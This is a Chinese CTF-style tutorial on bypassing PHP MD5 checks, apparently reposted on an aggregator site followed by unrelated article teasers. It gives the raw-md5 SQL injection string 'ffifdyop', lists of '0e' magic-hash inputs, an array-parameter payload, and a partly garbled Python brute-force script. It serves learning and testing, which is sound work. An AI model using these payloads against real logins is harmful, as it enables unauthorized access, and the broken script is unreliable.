php mysql 绕过_PHP中md5绕过

一、md5($password,true)的SQL注入问题

这里要提到一下MySQL中的数值比较问题。

1、当数字和字符串比较时,若字符串的数字部分(需要从头开始)和数字是相同的,那么则返回的是true。

select if(1="1abcd","等于","不等于") as test;

20201014141938298265.png

if(exp1,stat1,stat2)类似于高级语言中三元运算符。当exp1为true的是否返回stat1,为false返回stat2。

2、以数字开头的字符串,若开头的字符不是0,那么在做逻辑运算的时候返回的是1,也就是true。

select * from user where password =‘‘or‘1234a‘;

看一下这个php md5($pass,true) 的漏洞:

select * from user where password = md5($pass,true);

20201014141938351973.png

可以看到这里的raw参数是True,为返回原始16字符二进制格式。

也就是说当md5函数的第二个参数为true时,该函数的输出是原始二进制格式,会被作为字符串处理。

如果构造一个‘or‘xxx‘的密码,只要后面的字符串为真即可。那么可以根据32位16进制的字符串来查找,‘or‘对应的16进制是276f7227,所以我们的目标就是要找一个字符串,取32位16进制的md5值里带有276f7227这个字段的,在276f7227这个字段后面紧跟一个数字(除了0)1-9,对应的asc码值是49-57,转化为16进制就是31-39,也就是含有276f7227+(31-39)这个字段,就可以满足要求。

则拼接后构成的SQL语句为:

select * from user where password=‘‘or‘1asodijfoi‘;

select * from user where password=‘‘or‘1abcdefg‘ ---> True

select * from user where password=‘‘or‘0abcdefg‘ ---> False

select * from user where password=‘‘or‘1‘ ---> True

select * from user where password=‘‘or‘2‘ ---> True

select * from user where password=‘‘or‘0‘ ---> False

只要‘or‘后面的字符串为一个非零的数字开头都会返回True,这就是我们的突破点。

目前只知道用这个字符串 ffifdyop具体怎么来的,目前脚本还在研究中。

二、两变量值不相等,md5计算散列值后相等的绕过

==的绕过

PHP中==是判断值是否相等,若两个变量的类型不相等,则会转化为相同类型后再进行比较。

PHP在处理哈希字符串的时候,它把每一个以0e开头的哈希值都解析为0。

注意:==号相等必须满足0e后面全是数字,若存在字母则不行。

}

}?>

常见的如下:

在md5加密后以0E开头

QNKCDZO

240610708

s878926199a

s155964671a

===的绕过

===会比较类型,这个时候可以用到PHP中md5()函数无法处理数组(会返回NULL)来实现绕过。

}

}?>

payload: /?a[]=1&b[]=2 (上面==的例子也可以用数组绕过)

三、MD5碰撞

脚本:

#-*- coding: utf-8 -*-

import multiprocessing

import hashlib

import random

importstringimport sys

CHARS= string.letters + string.digits

def cmp_md5(substr, stop_event, str_len,. start=0, size=20):

globalCHARSwhile not stop_event.is_set():rnds= ‘‘.join(random.choice(CHARS) for _ in range(size))md5 = hashlib.md5(rnds)

value= md5.hexdigest()if value[start: start+str_len] == substr:

printrnds

stop_event.set()‘‘‘#碰撞双md5

md5 = hashlib.md5(value)

if md5.hexdigest()[start: start+str_len] == substr:

print rnds+ "=>" + value+"=>"+ md5.hexdigest() + "\n"

stop_event.set()‘‘‘

if __name__ == ‘__main__‘:

substr = sys.argv[1].strip()

start_pos= int(sys.argv[2]) if len(sys.argv) > 1 else 0str_len= len(substr)

cpus= multiprocessing.cpu_count()

stop_event= multiprocessing.Event()

processes= [multiprocessing.Process(target=cmp_md5, args=(substr,stop_event, str_len,start_pos))for i in range(cpus)]for p in processes:p.start()for p in processes:p.join()

还有MD5和双MD5以后的值都是0e开头的

CbDLytmyGm2xQyaLNhWn

770hQgrBOjrcqftrlaZk

7r4lGXCH2Ksu2JNT3BYM

正常0e开头:

QNKCDZO

0e830400451993494058024219903391

240610708

0e462097431906509019562988736854

s878926199a

0e545993274517709034328855841020

s155964671a

0e342768416822451524974117254469

s214587387a

0e848240448830537924465865611904

s214587387a

0e848240448830537924465865611904

s878926199a

0e545993274517709034328855841020

s1091221200a

0e940624217856561557816327384675

s1885207154a

0e509367213418206700842008763514

s1502113478a

0e861580163291561247404381396064

s1885207154a

0e509367213418206700842008763514

s1836677006a

0e481036490867661113260034900752

s155964671a

0e342768416822451524974117254469

s1184209335a

0e072485820392773389523109082030

s1665632922a

0e731198061491163073197128363787

s1502113478a

0e861580163291561247404381396064

s1836677006a

0e481036490867661113260034900752

s1091221200a

0e940624217856561557816327384675

s155964671a

0e342768416822451524974117254469

s1502113478a

0e861580163291561247404381396064

s155964671a

0e342768416822451524974117254469

s1665632922a

0e731198061491163073197128363787

s155964671a

0e342768416822451524974117254469

s1091221200a

0e940624217856561557816327384675

s1836677006a

0e481036490867661113260034900752

s1885207154a

0e509367213418206700842008763514

s532378020a

0e220463095855511507588041205815

s878926199a

0e545993274517709034328855841020

s1091221200a

0e940624217856561557816327384675

s214587387a

0e848240448830537924465865611904

s1502113478a

0e861580163291561247404381396064

s1091221200a

0e940624217856561557816327384675

s1665632922a

0e731198061491163073197128363787

s1885207154a

0e509367213418206700842008763514

s1836677006a

0e481036490867661113260034900752

s1665632922a

0e731198061491163073197128363787

s878926199a

0e545993274517709034328855841020

原文:https://www.cnblogs.com/du1ge/p/13812118.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/513402.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

重磅发布:微服务引擎 MSE 专业版

简介: 性能提升 10 倍,更高的 SLA 保障,新用户限时抢购 8 折资源包。 微服务引擎 MSE 专业版发布,支持 Nacos 2.0 ,相比基础版,专业版具有更高的 SLA 保障,性能提升十倍,99.95%可用…

45分钟,411个中小品牌天猫双11实现新跨越

CSDN从天猫获悉,今年天猫双11,有一批中小品牌实现跨越式增长。截至11月11日0点45分,已有411个去年成交额过百万的中小品牌,今年销售额突破千万;更有40个去年双11成交额千万级的品牌,在今年双11成交额突破了…

组装台式电脑配置清单_攒机必备!各种价位的台式电脑配置清单!

点击上方「软件分享云」关注我们台式机,是一种独立相分离的计算机,完完全全跟其它部件无联系,相对于笔记本和上网本体积较大,主机、显示器等设备一般都是相对独立的,一般需要放置在电脑桌或者专门的工作台上。因此命名…

达摩院重要科技突破!空天数据库引擎Ganos解读

简介: Ganos空天数据库引擎是李飞飞带领的达摩院数据库与存储实验室研发的新一代位置智能引擎,采用了平台即服务、多模融合、计算下推和云原生全新处理架构,为政府、企事业单位、泛互联网客户提供移动对象、空间/时空、遥感多模态数据混合存储…

brainfuck 在线_酒店在线声誉持久战 重视社媒舆论 保持品牌一致性

维护品牌或酒店声誉是一场持久战,这对塑造积极的品牌认知和提升客户满意度至关重要。声誉管理包括两个关键部分:引导客人评价和公众舆论,并以适当的方式进行反馈。就在线声誉管理而言,品牌还需要注意另外一点,公众会在…

2021天猫双11:阿里巴巴业务已全部跑在阿里云上

“今年天猫双11是首个100%的云上双11,成功扛住了全球规模最大的流量洪峰。”11月11日,阿里巴巴首席技术官程立表示,阿里巴巴业务已全部跑在阿里云上,体验如丝般顺滑。经过历年双11的“大考”,阿里技术实现了多级跳跃。…

从“嵌入式”到“物联网”有哪些变化?

简介: 经过几十年发展,嵌入式技术已经用在了我们生活中的方方面面,但是嵌入式始终都带有小众,专业性强的属性,让很多非嵌入式领域的同学望而却步。近十几年的发展,物联网覆盖了越来越多领域,包括…

Serverless Devs 的官网是如何通过 Serverless Devs 部署的

简介: 只有自己吃自己的狗粮,自己做的东西才不“🐶”。Serverless Devs 自发展之处到现在,已经经历了几个月的时间,在这几个月,Serverless Devs 的成长是迅速的,这很大一部分的原因是“我们在吃…

crontab 改成只读模式_以“三合一”模式推动提质增效 助力公司高质量发展

近日,模块制造厂圆满完成位于原化机西部院内的吉林制造基地新老厂区的资源整合、机械设备修理以及厂区内设备土建基础施工、功能配套设备购置等工作,积极推进新厂区环评、厂区注册地址变更,使制造基地继承了老厂区所拥有的压力容器、超限设备…

5G 落地进入爆发期,是时候让毫米波登场了

作者 | 小枣君来源 | 鲜枣课堂2021年,全球5G网络建设和发展取得了不俗的成绩。根据GSA于8月发布的数据,已有70多个国家及地区的超过175家运营商,推出了5G商用服务。还有285家运营商,正在投资部署5G。中国的5G建设步伐,…

新型DDoS来袭 | 基于STUN协议的DDoS反射攻击分析

简介: 作为新型反射类型,目前仍存绕过防御可能性。 阿里云安全近期发现利用STUN(Session Traversal Utilities for NAT,NAT会话穿越应用程序)服务发起的DDoS反射攻击。阿里云DDoS防护系统在秒级识别到攻击&#xff0c…

ssh是什么_【科普】SSH都不懂,还搞什么网络

关注我,你的眼睛会怀孕今天小编为大家分享一篇关于SSH 的介绍和使用方法的文章。本文从SSH是什么出发,讲述了SSH的基本用法,之后在远程登录、端口转发等多种场景下进行独立的讲述,希望能对大家有所帮助。1. 什么是SSH?…

10问10答:你真的了解线程池吗?

简介: 《Java开发手册》中强调,线程资源必须通过线程池提供,而创建线程池必须使用ThreadPoolExecutor。手册主要强调利用线程池避免两个问题,一是线程过渡切换,二是避免请求过多时造成OOM。但是如果参数配置错误&#…

浪潮K1 Power通过ISO/IEC 20243标准认证

日前,浪潮K1 Power服务器通过ISO/IEC 20243标准认证,成为中国第一个通过该认证的服务器产品线。 ISO/IEC 20243标准,也被称为O-TTPS(Open Trusted Technology Provider Standards,开放可信技术供应商标准)…

「技术人生」第3篇:解决问题的规律总结

简介: 本文将介绍问题研究背景及解决问题的一般规律和特殊规律及二者之间的辩证关系。 作者:贺科学 往期技术一号位方法论系列文章: 「技术人生」专题第1篇:什么是技术一号位? 「技术人生」第2篇:学会分…

CENTOS 7 踢用户_CentOS服务器及MySQL数据库性能测试-乐搏软件测试

这期小编和大家分享使用Sysbench,进行CentOS服务器及MySQL数据库的性能测试。Sysbench是一个跨平台的基准测试工具。基准测试是对数据库的性能指标进行定量的、可复现的、可对比的测试。基准测试可以理解为针对系统的一种压力测试。但基准测试不关心业务逻辑更加简单…

何朝曦:构建云化安全能力的三个建议

11月12日,深信服智安全创新峰会在云端拉开帷幕,深信服创始人&CEO何朝曦在《构建云化时代的安全能力》主题演讲中指出,业务云化已成为用户实现数字化转型与变革的重要方式,这种跨时代的变迁对用户的安全能力提出了更高的要求&a…

dubbo-go v3 版本 go module 踩坑记

简介: 该问题源于我们想对 dubbo-go 的 module path 做一次变更,使用 dubbo.apache.org/dubbo-go/v3 替换之前的 github.com/apache/dubbo-go。 作者 | 董剑辉、盛傲飞 来源 | 阿里巴巴云原生公众号 ​ 问题背景 ​ 该问题源于我们想对 dubbo-go 的 mo…

智能数据构建与管理平台Dataphin的前世今生:缘起

简介: 阿里巴巴提出的OneData方法论帮助企业捋清了数据全生命周期的管理思路,更将其植入到产品Dataphin(智能数据构建与管理)中,通过阿里云为企业提供服务。 Dataphin 智能数据构建与管理平台 面向各行各业大数据建设、…

缓存和数据库一致性问题,看这篇就够了

作者 | Magic Kaito来源 | 水滴与银弹如何保证缓存和数据库一致性,这是一个老生常谈的话题了。但很多人对这个问题,依旧有很多疑惑:到底是更新缓存还是删缓存?到底选择先更新数据库,再删除缓存,还是先删除缓…